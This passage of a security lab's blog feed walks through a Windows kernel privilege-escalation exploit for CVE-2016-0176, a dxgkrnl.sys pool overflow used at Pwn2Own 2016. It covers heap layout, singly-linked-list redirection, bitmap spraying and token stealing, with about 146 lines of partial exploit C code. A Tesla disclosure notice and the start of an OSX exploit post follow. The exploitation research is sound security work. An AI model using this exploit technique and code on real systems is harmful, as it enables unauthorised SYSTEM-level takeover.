class="keyword">auto</span> size = (hist_token_src-&gt;dirty_regions.NumRects * <span class="number">0x10</span> + <span class="number">0x338</span> + <span class="number">7</span>) / <span class="number">8</span>;</span><br><span class="line"><span class="keyword">auto</span> src = (<span class="type">uint8_t</span>*)hist_token_src;</span><br><span class="line"><span class="keyword">auto</span> dst = (<span class="type">uint8_t</span>*)hist_token_dst;</span><br><span class="line"><span class="built_in">memcpy</span>(dst, src, size);</span><br></pre></td></tr></table></figure><p> Things become clear in C++ codes, no matter what the <strong>Token.Flip.NumRects</strong> is, dxgkrnl.sys driver will do a memcpy operation, the source buffer of this memcpy is the buffer we passed from user-mode by calling Win32 API <strong>D3DKMTPresent</strong> function, the destination of this memcpy is a piece of buffer allocated from kernel-mode pool by <strong>ExpInterlockedPopEntrySList</strong>, the size of this memcpy is calculated by adding the array size of <strong>Token.Flip.NumRects</strong> elements with the buffer size before this array. If we pass a value larger than 0x10 in <strong>Token.Flip.NumRects</strong> field in the user-mode buffer, then an overflow to kernel-mode paged pool will occur, we can control the size of the overflow, as well as the first 0x38 bytes content of this overflow. (0x38 more bytes can be set after the end of history token, check the layout graph for more details.)</p><p> This vulnerability is interesting, because Microsoft already foresee it but fail to prevent it. The lesson is do not fully trust some best practices unless you know it very well, such as assertion mechanism.</p><h3 id="Exploitation"><a href="#Exploitation" class="headerlink" title="Exploitation"></a>Exploitation</h3><p> For exploitation of a heap overflow, the layout of the destination buffer is very important. We already know that the destination buffer is allocated from kernel-mode paged pool with <strong>ExpInterlockedPopEntrySList</strong> function. </p><p> With a little debugging work, we can get some basic information about the destination buffer. </p><pre><code>kd&gt; u rip-6 L2dxgkrnl!DXGCONTEXT::SubmitPresentHistoryToken+0x47b:fffff801`cedb80fb call    qword ptr [dxgkrnl!_imp_ExpInterlockedPopEntrySList (fffff801`ced77338)]fffff801`cedb8101 test    rax,raxkd&gt; !pool raxPool page ffffc0012764c5a0 region is Paged pool*ffffc0012764b000 : large page allocation, tag is DxgK, size is 0x2290 bytes    Pooltag DxgK : Vista display driver support, Binary : dxgkrnl.sys    </code></pre><p>It is a large buffer in 0x2290 bytes, as its size is larger than 1 page(a page is 0x1000 bytes), it will be allocated as large page allocation. In this case, 3 continuous pages will be consumed to serve this allocation request. The extra bytes after 0x2290 offset will be reclaimed and linked back to free list of paged pool, while an extra separating pool entry tagged as “Frag” will be added between them. For more information about Windows kernel pool layout and large page allocation, please refer to <a href="https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf">Kernel Pool Exploitation on Windows 7</a>. Below is how it looks at the 0x2290 offset:</p><pre><code>kd&gt; db ffffc0012764b000+0x2290 L40ffffc001`2764d290  00 01 02 03 46 72 61 67-00 00 00 00 00 00 00 00  ....Frag........ffffc001`2764d2a0  90 22 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .&quot;..............ffffc001`2764d2b0  02 01 01 00 46 72 65 65-0b 43 44 9e f1 81 a8 47  ....Free.CD....Gffffc001`2764d2c0  01 01 04 03 4e 74 46 73-c0 32 42 3a 00 e0 ff ff  ....NtFs.2B:....</code></pre><p>It is <strong>DXGPRESENTHISTORYTOKENQUEUE::GrowPresentHistoryBuffer</strong> who is responsible for allocating and managing history tokens as a singly-linked list. Each history token is 0x438 bytes in size, and extend to 0x450 bytes by counting pool header and padding bytes in; The large page allocation is divided into 8 history tokens, linked in reverse order to form the singly-linked list. Dxgkrnl.sys driver intends to use this slist as look-aside list for serving the allocation requests of history token.</p><p>This singly-linked list looks as below initially:</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_2.svg" alt="Singly-Linked List of History Tokens"></p><p>The singly-linked list looks as below after serving 1 history token allocation request:</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_3.svg" alt="Singly-Linked List After 1 Pop"></p><p>The singly-linked list looks as below after serving 2 history token allocation request:</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_4.svg" alt="Singly-Linked List After 2 Pop"></p><p>With knowledge of the memory layout of destination buffer of the heap overflow, we have 2 ideas about exploitation:</p><h4 id="Idea-1-Overflow-the-buffer-after-0x2290-offset-where-maybe-reused-by-some-small-allocations-from-paged-pool"><a href="#Idea-1-Overflow-the-buffer-after-0x2290-offset-where-maybe-reused-by-some-small-allocations-from-paged-pool" class="headerlink" title="Idea 1. Overflow the buffer after 0x2290 offset, where maybe reused by some small allocations from paged pool:"></a>Idea 1. Overflow the buffer after 0x2290 offset, where maybe reused by some small allocations from paged pool:</h4><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_5.svg" alt="Overflow Scenario 1"></p><h4 id="Idea-2-Overflow-the-adjacent-history-token’s-header-which-may-abuse-the-singly-linked-list"><a href="#Idea-2-Overflow-the-adjacent-history-token’s-header-which-may-abuse-the-singly-linked-list" class="headerlink" title="Idea 2. Overflow the adjacent history token’s header, which may abuse the singly-linked list:"></a>Idea 2. Overflow the adjacent history token’s header, which may abuse the singly-linked list:</h4><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_6.svg" alt="Overflow Scenario 2"></p><p>The first exploitation idea has some limitations, recall that we can control only 0x38 bytes of the overflowed content, it means we can almost control nothing but the padding bytes, separating frag pool entry and the following pool entry’s header. </p><p>The second exploitation idea seems promising, although now Windows kernel is enforcing strict validation for doubly-linked list, but no checks for singly-linked list, we can play the redirecting tricks for singly-linked list.</p><p>Let’s do some thought experiments just like Einstein for idea 2. In the above graphs, we see that after poping 2 history tokens out of the slist, we can overflow node B and overwriting the header of node A. Then we push node B back to the slist:</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_7.svg" alt="Overwriting Node A&#39;s header"></p><p>What happens after we push node A back to the slist, will it redirect next pointer to the overwritten QWORD?</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_9.svg" alt="Redirect Impossible"></p><p>Actually this will never happen, because while we pushing node A back to slist, the overwritten QWORD in node A’s header will be recovered to pointing to node B:</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_10.svg" alt="Back to Initial State"></p><p>Then we try another possibility, first get back to where after poping 2 nodes out of slist:</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_11.svg" alt="After Poping 2 Nodes"></p><p>This time we first push node A back to slist:</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_12.svg" alt="First Push Node A Back"></p><p>Then we overflow node B to overwrite node A’s header, because now node A already be reclaimed to slist, and its header will not be recovered any more. Now the slist is broken and redirected to the overwritten QWORD:</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_13.svg" alt="Overflow Scenario 3"></p><p>After this series of thought experiments, it is more promising for exploitation in idea 2, let’s get our hands dirty. It seems that we need to pop and push the slist in random order to trigger the above redirection, at least 2 continuous pops side by side. I did the following tries:</p><h4 id="1st-Try-Loop-calling-D3DKMTPresent-with-overflowing-fields-set-in-the-buffer"><a href="#1st-Try-Loop-calling-D3DKMTPresent-with-overflowing-fields-set-in-the-buffer" class="headerlink" title="1st Try: Loop calling D3DKMTPresent with overflowing fields set in the buffer."></a>1st Try: Loop calling D3DKMTPresent with overflowing fields set in the buffer.</h4><p>This time I failed, it turns out looping poping node A out and pushing node A back again, in this case I can only overflow as idea 1. The reason is simple, those D3DKMTPresent API calls are served in turns, so we need to call it simultaneously.</p><h4 id="2nd-Try-Loop-calling-D3DKMTPresent-with-overflowing-fields-set-in-the-buffer-from-multiple-threads"><a href="#2nd-Try-Loop-calling-D3DKMTPresent-with-overflowing-fields-set-in-the-buffer-from-multiple-threads" class="headerlink" title="2nd Try: Loop calling D3DKMTPresent with overflowing fields set in the buffer from multiple threads."></a>2nd Try: Loop calling D3DKMTPresent with overflowing fields set in the buffer from multiple threads.</h4><p>This time I failed again, after checking some disassembly codes, I believe<br>the callstack of D3DKMTPresent is protected by a lock.</p><p>After those 2 tries, I start to doubt if the 2 continuous pops are doable, I abandoned this doubt quickly after realizing the complex slist should not be degenerated to 1 element, there should be other callstacks triggering pop of the slist. I wrote a windbg script for logging push and pop operations, and tried launching some graphics intensive applications while doing 2nd try. Then miracle happened, while I playing with the built-in Solitaire games, a double pop happened, I debugged and found out a BitBlt API will trigger poping elements out of the slist from another callstack. </p><h4 id="3rd-and-Last-Try-Loop-calling-D3DKMTPresent-with-overflowing-fields-set-in-the-buffer-from-multiple-threads-while-loop-calling-BitBlt-from-another-multiple-threads"><a href="#3rd-and-Last-Try-Loop-calling-D3DKMTPresent-with-overflowing-fields-set-in-the-buffer-from-multiple-threads-while-loop-calling-BitBlt-from-another-multiple-threads" class="headerlink" title="3rd and Last Try: Loop calling D3DKMTPresent with overflowing fields set in the buffer from multiple threads, while loop calling BitBlt from another multiple threads."></a>3rd and Last Try: Loop calling D3DKMTPresent with overflowing fields set in the buffer from multiple threads, while loop calling BitBlt from another multiple threads.</h4><p>It succeeded in redirecting the next pointer in slist, and lead to arbitrary write to kernel-mode memory. But it is still far from perfect, we need to find out the tokens of current and system process, and do token stealing. During this process, more than 1 reads and writes are needed, but the tricks above is not easily repeatable, especially with the strict rules of Pwn2Own 2016 that only 3 tries within 15 minutes, some more tricks is needed.</p><h3 id="Some-More-Tricks"><a href="#Some-More-Tricks" class="headerlink" title="Some More Tricks"></a>Some More Tricks</h3><h4 id="Repeatable-arbitrary-read-and-write-into-kernel-mode-memory"><a href="#Repeatable-arbitrary-read-and-write-into-kernel-mode-memory" class="headerlink" title="Repeatable arbitrary read and write into kernel-mode memory"></a>Repeatable arbitrary read and write into kernel-mode memory</h4><p>I used Win32k bitmap object as intermediate targets, I did it by first spraying lots of bitmap objects into kernel-mode memory, and then guessing their addresses as targets of the redirection write. If I succeeded in hitting one of those bitmap objects, I modify the buffer pointer and size field in it, make it pointing to another bitmap object. So 2 bitmap objects in use, first for controlling the address of read and write, second for doing actual read and write.</p><p>Actually I sprayed bitmap objects into 4GB range of memory, I first sprayed 256MB large bitmap objects to reserve continuous and well-aligned pool memory, then I replace them with 1MB small bitmap objects whose address is aligned at 0x100000 boundary, which makes guessing much easier.</p><p>Information leakage is needed as a hint for guessing the addresses of sprayed bitmap objects, this is done with the help of <strong>user32! gSharedInfo</strong>.</p><h4 id="Token-Stealing"><a href="#Token-Stealing" class="headerlink" title="Token Stealing"></a>Token Stealing</h4><p>With the ability of repeatably arbitrary read and write, as well as information leakage of nt kernel module base address by sidt, we can easily find the address of <strong>nt!PspCidTable</strong>, then we can find the _EPROCESS object of current and system process by parsing this table, and get the respective _TOKEN object addresses and finally do the token stealing.</p><h3 id="Exploitation-Code-parts"><a href="#Exploitation-Code-parts" class="headerlink" title="Exploitation Code(parts)"></a>Exploitation Code(parts)</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br></pre></td><td class="code"><pre><span class="line">VOID <span class="title function_">ThPresent</span><span class="params">(THREAD_HOST * th)</span></span><br><span class="line">&#123;</span><br><span class="line">    SIZE_T hint = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (TRUE)</span><br><span class="line">    &#123;</span><br><span class="line">        HIST_TOKEN ht = &#123; <span class="number">0</span>, &#125;;</span><br><span class="line">        HtInitialize(&amp;ht);</span><br><span class="line"></span><br><span class="line">        SIZE_T victim_surf_obj = ThNextGuessedAddr(th, ++hint);</span><br><span class="line"></span><br><span class="line">        SIZE_T buffer_ptr = victim_surf_obj + <span class="number">0x200000</span> + <span class="number">0x18</span>;</span><br><span class="line">        th-&gt;backupBufferPtr1 = victim_surf_obj + <span class="number">0x258</span>;</span><br><span class="line">        th-&gt;backupBufferPtr2 = victim_surf_obj + <span class="number">0x200000</span> + <span class="number">0x258</span>;</span><br><span class="line"></span><br><span class="line">        SIZE_T back_offset = <span class="number">0x10</span>;</span><br><span class="line"></span><br><span class="line">        SURFOBJ surf_obj = &#123; <span class="number">0</span>, &#125;;</span><br><span class="line"></span><br><span class="line">        surf_obj.cjBits = <span class="number">0x80</span>;</span><br><span class="line">        surf_obj.pvBits = (PVOID)buffer_ptr;</span><br><span class="line">        surf_obj.pvScan0 = (PVOID)buffer_ptr;</span><br><span class="line">        surf_obj.sizlBitmap.cx = <span class="number">0x04</span>;</span><br><span class="line">        surf_obj.sizlBitmap.cy = <span class="number">0x08</span>;</span><br><span class="line">        surf_obj.iBitmapFormat = <span class="number">0x06</span>;</span><br><span class="line">        surf_obj.iType = <span class="number">0</span>;</span><br><span class="line">        surf_obj.fjBitmap = <span class="number">0x01</span>;</span><br><span class="line">        surf_obj.lDelta = <span class="number">0x10</span>;</span><br><span class="line"></span><br><span class="line">        DWORD dwBuff = <span class="number">0x04800200</span>;</span><br><span class="line">        HtSetBuffer(&amp;ht, <span class="number">0x18</span> + th-&gt;memberOffset - back_offset, (<span class="type">unsigned</span> <span class="type">char</span>*)&amp;surf_obj, <span class="number">0x68</span>);</span><br><span class="line">        HtSetBuffer(&amp;ht, <span class="number">0x70</span> + th-&gt;memberOffset - back_offset, &amp;dwBuff, <span class="keyword">sizeof</span>(DWORD));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (th-&gt;memberOffset - back_offset + <span class="number">0xE8</span> &lt; <span class="number">0x448</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            SIZE_T qwBuff = victim_surf_obj + <span class="number">0xE0</span>;</span><br><span class="line">            HtSetBuffer(&amp;ht, <span class="number">0xE0</span> + th-&gt;memberOffset - back_offset, &amp;qwBuff, <span class="keyword">sizeof</span>(SIZE_T));</span><br><span class="line">            HtSetBuffer(&amp;ht, <span class="number">0xE8</span> + th-&gt;memberOffset - back_offset, &amp;qwBuff, <span class="keyword">sizeof</span>(SIZE_T));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (th-&gt;memberOffset - back_offset + <span class="number">0x1C0</span> &lt; <span class="number">0x448</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            SIZE_T qwBuff = victim_surf_obj + <span class="number">0x1B8</span>;</span><br><span class="line">            HtSetBuffer(&amp;ht, <span class="number">0x1B8</span> + th-&gt;memberOffset - back_offset, &amp;qwBuff, <span class="keyword">sizeof</span>(SIZE_T));</span><br><span class="line">            HtSetBuffer(&amp;ht, <span class="number">0x1C0</span> + th-&gt;memberOffset - back_offset, &amp;qwBuff, <span class="keyword">sizeof</span>(SIZE_T));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        HtOverflowNextSListEntry(&amp;ht, victim_surf_obj);</span><br><span class="line">        HtTrigger(&amp;ht);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (th-&gt;triggered)</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">VOID <span class="title function_">ThTrigger</span><span class="params">(THREAD_HOST * th)</span></span><br><span class="line">&#123;</span><br><span class="line">    SIZE_T i = <span class="number">0</span>;</span><br><span class="line">    HANDLE threads[TH_MAX_THREADS] = &#123; <span class="number">0</span>, &#125;;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> second_buffer[<span class="number">0x78</span>] = &#123; <span class="number">0</span>, &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (SIZE_T i = <span class="number">0</span>; i &lt; TH_MAX_THREADS; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (th-&gt;triggered)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (i == <span class="number">9</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            DWORD thread_id = <span class="number">0</span>;</span><br><span class="line">            threads[i] = CreateThread(<span class="literal">NULL</span>, <span class="number">0</span>, ProbeThreadProc, th, <span class="number">0</span>, &amp;thread_id);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (i % <span class="number">3</span> != <span class="number">0</span> &amp;&amp; i &gt; <span class="number">0x10</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            DWORD thread_id = <span class="number">0</span>;</span><br><span class="line">            threads[i] = CreateThread(<span class="literal">NULL</span>, <span class="number">0</span>, PresentThreadProc, th, <span class="number">0</span>, &amp;thread_id);</span><br><span class="line">        &#125;           </span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">            DWORD thread_id = <span class="number">0</span>;</span><br><span class="line">            threads[i] = CreateThread(<span class="literal">NULL</span>, <span class="number">0</span>, BitbltThreadProc, th, <span class="number">0</span>, &amp;thread_id);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; TH_MAX_THREADS; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (threads[i] != <span class="literal">NULL</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (WAIT_OBJECT_0 == WaitForSingleObject(threads[i], INFINITE))</span><br><span class="line">            &#123;</span><br><span class="line">                CloseHandle(threads[i]);</span><br><span class="line">                threads[i] = <span class="literal">NULL</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    Log(<span class="string">&quot;trigged\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    ThRead(th, (<span class="type">const</span> <span class="type">void</span>*)th-&gt;backupBufferPtr2, second_buffer, <span class="number">0x78</span>);</span><br><span class="line"></span><br><span class="line">    ADDR_RESOLVER ar = &#123; <span class="number">0</span>, &#125;;</span><br><span class="line">    ArInitialize(&amp;ar, th);</span><br><span class="line"></span><br><span class="line">    SIZE_T nt_addr = ArNTBase(&amp;ar); </span><br><span class="line">    SIZE_T psp_cid_table_addr = nt_addr + PSP_CIDTABLE_OFFSET;</span><br><span class="line">    SIZE_T psp_cid_table_value;</span><br><span class="line"></span><br><span class="line">    ThRead(th, psp_cid_table_addr, &amp;psp_cid_table_value, <span class="number">0x08</span>);</span><br><span class="line"></span><br><span class="line">    SIZE_T psp_cid_table[<span class="number">0x0C</span>] = &#123; <span class="number">0</span>, &#125;;</span><br><span class="line">    ThRead(th, psp_cid_table_value, psp_cid_table, <span class="number">0x60</span>);</span><br><span class="line"></span><br><span class="line">    SIZE_T table_code = psp_cid_table[<span class="number">1</span>];</span><br><span class="line">    SIZE_T handle_count = psp_cid_table[<span class="number">0x0B</span>] &amp; <span class="number">0x00000000ffffffff</span>;</span><br><span class="line"></span><br><span class="line">    SIZE_T curr_pid = GetCurrentProcessId();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">        ThParseCidTable(th, table_code, handle_count);</span><br><span class="line">        Sleep(<span class="number">1000</span>);</span><br><span class="line">    &#125; <span class="keyword">while</span> (th-&gt;currentEprocess == <span class="literal">NULL</span> || th-&gt;systemEprocess == <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    SIZE_T curr_proc = th-&gt;currentEprocess;</span><br><span class="line">    SIZE_T system_proc = th-&gt;systemEprocess;</span><br><span class="line"></span><br><span class="line">    SIZE_T system_token = <span class="number">0</span>;</span><br><span class="line">    ThRead(th, (system_proc + <span class="number">0x358</span>), &amp;system_token, <span class="number">0x08</span>);</span><br><span class="line"></span><br><span class="line">    SIZE_T curr_token = <span class="number">0</span>;</span><br><span class="line">    ThRead(th, (curr_proc + <span class="number">0x358</span>), &amp;curr_token, <span class="number">0x08</span>);</span><br><span class="line"></span><br><span class="line">    ThWrite(th, (curr_proc + <span class="number">0x358</span>), &amp;system_token, <span class="number">0x08</span>);</span><br><span class="line"></span><br><span class="line">    ThRead(th, (curr_proc + <span class="number">0x358</span>), &amp;curr_token, <span class="number">0x08</span>);</span><br><span class="line">    </span><br><span class="line">    ThRestore(th);</span><br><span class="line"></span><br><span class="line">    Log(<span class="string">&quot;elevated\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">    Sleep(<span class="number">3600000</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="References"><a href="#References" class="headerlink" title="References:"></a>References:</h3><ol><li><a href="https://ruxcon.org.au/assets/2016/slides/Rainbow_over_the_Windows.pdf">Rainbow Over the Windows</a></li><li><a href="https://github.com/long123king/tokenext/blob/master/doc/Did_You_Get_Your_Token.pdf">Did You Get Your Token?</a></li><li><a href="http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes">Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes</a></li><li><a href="https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf">Kernel Pool Exploitation on Windows 7</a></li></ol>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;A-Detailed-Description-of-CVE-2016-0176-and-Its-Exploitation&quot;&gt;&lt;a href=&quot;#A-Detailed-Description-of-CVE-2016-0176-and-Its-Exploitation&quot; class=&quot;headerlink&quot; title=&quot;A Detailed Description of CVE-2016-0176 and Its Exploitation&quot;&gt;&lt;/a&gt;A Detailed Description of CVE-2016-0176 and Its Exploitation&lt;/h2&gt;&lt;h3 id=&quot;Essentials-of-a-Successful-Pwn-of-Microsoft-Edge&quot;&gt;&lt;a href=&quot;#Essentials-of-a-Successful-Pwn-of-Microsoft-Edge&quot; class=&quot;headerlink&quot; title=&quot;Essentials of a Successful Pwn of Microsoft Edge&quot;&gt;&lt;/a&gt;Essentials of a Successful Pwn of Microsoft Edge&lt;/h3&gt;&lt;p&gt;A successful Pwn of Microsoft Edge consists of two essential parts: Browser RCE(Remote Code Execution) and browser sandbox bypass. Browser RCE is typically achieved by exploiting a Javascript vulnerability, while browser sandbox bypass can be achieved in different ways, logical sandbox escape or EoP(Escalation of Privilege) through kernel vulnerabilities.&lt;/p&gt;
&lt;p&gt;Sandbox of Microsoft Edge is built upon the access check mechanism. In Windows operating system, resources are shared in system-wide range, for example, a file or device can be shared across different processes. Some resources contain sensitive informations, some others are critical to the whole system’s well-functioning, corruptions of those resources will crash the whole system. For those reasons, there should be strict checks when a process want to access a specific resource, this is called access check. When a resource is opened, token of the subject process will be checked against security descriptor of the object resource. Access check consists of several elementary checks in different dimensions, such as ownership and group membership check, privileges check, integrity level and trust level check, capabilities check, etc. The previous generation sandbox is based  on integrity level check, where the sandboxed application runs in low integrity level, thus it can not access resources protected by medium or higher integrity level. Microsoft Edge adopts new generation sandbox based on AppContainer, where additional capabilities check will be conducted when accessing resources, besides basic integrity level check. For more details about access check mechanism, refer to my talk at ZeroNights 2015: &lt;a href=&quot;https://github.com/long123king/tokenext/blob/master/doc/Did_You_Get_Your_Token.pdf&quot;&gt;Did You Get Your Token?&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="Windows" scheme="http://keenlab.tencent.com/en/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>Car Hacking Research: Remote Attack Tesla Motors</title>
    <link href="http://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/"/>
    <id>http://keenlab.tencent.com/en/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars/</id>
    <published>2016-09-19T15:26:19.000Z</published>
    <updated>2025-12-08T11:23:10.850Z</updated>
    
    <content type="html"><![CDATA[<p>With several months of in-depth research on Tesla Cars, we have discovered multiple security vulnerabilities and successfully implemented remote, aka none physical contact, control on Tesla Model S in both Parking and Driving Mode. It is worth to note that we used an unmodified car with latest firmware to demonstrate the attack.</p><p>Following the global industry practice on “responsible disclosure” of product security vulnerabilities, we have reported the technical details of all the vulnerabilities discovered in the research to Tesla. The vulnerabilities have been confirmed by Tesla Product Security Team. </p><p>Keen Security Lab appreciates the proactive attitude and efforts of Tesla Security Team, leading by Chris Evans, on responding our vulnerability report and taking actions to fix the issues efficiently. Keen Security Lab is coordinating with Tesla on issue fixing to ensure the driving safety of Tesla users.</p><p>As far as we know, this is the first case of remote attack which compromises CAN Bus to achieve  remote controls on Tesla cars. We have verified the attack vector on multiple varieties of Tesla Model S. It is reasonable to assume that other Tesla models are affected. Keen Security Lab would like to send out this reminder to all Tesla car owners:</p><p>PLEASE DO UPDATE THE FIRMWARE OF YOUR TESLA CAR TO THE LATEST VERSION TO ENSURE THAT THE ISSUES ARE FIXED AND AVOID POTENTIAL DRIVING SAFETY RISKS. </p><p>The video below demonstrates the impact of our remote attack vector. REMINDER: WHAT YOU ARE ABOUT TO SEE IN THIS VIDEO ARE PERFORMED BY PROFESSIONAL RESEARCHERS, DO NOT TRY THIS AT HOME.</p><div class="video-container"><iframe src="https://www.youtube.com/embed/c1XyhReNcHY" frameborder="0" loading="lazy" allowfullscreen></iframe></div>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;With several months of in-depth research on Tesla Cars, we have discovered multiple security vulnerabilities and successfully implemented</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>The Journey of a complete OSX privilege escalation with a single vulnerability - Part 1</title>
    <link href="http://keenlab.tencent.com/en/2016/07/29/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/"/>
    <id>http://keenlab.tencent.com/en/2016/07/29/The-Journey-of-a-complete-OSX-privilege-escalation-with-a-single-vulnerability-Part-1/</id>
    <published>2016-07-29T14:12:41.000Z</published>
    <updated>2025-12-08T11:23:10.851Z</updated>
    
    <content type="html"><![CDATA[<p>In previous blog posts Liang talked about the userspace privilege escalation vulnerability we found in WindowServer. Now in following articles I will talk about the <code>Blitzard</code> kernel bug we used in this year’s pwn2own to escape the Safari renderer sandbox, existing in the <code>blit</code> operation of graphics pipeline. From a exploiter’s prospective we took advantage of an vector out-of-bound access which under carefully prepared memory situations will lead to write-anywhere-but-value-restricted to achieve both infoleak and RIP control. In this article we will introduce the exploitation methods we played with mainly in kalloc.48 and kalloc.4096. </p><p>First we will first introduce the very function which the overflow occurs, what we can control and how these affect our following exploitation. </p><span id="more"></span><h2 id="The-IGVector-add-function"><a href="#The-IGVector-add-function" class="headerlink" title="The IGVector add function"></a>The IGVector add function</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 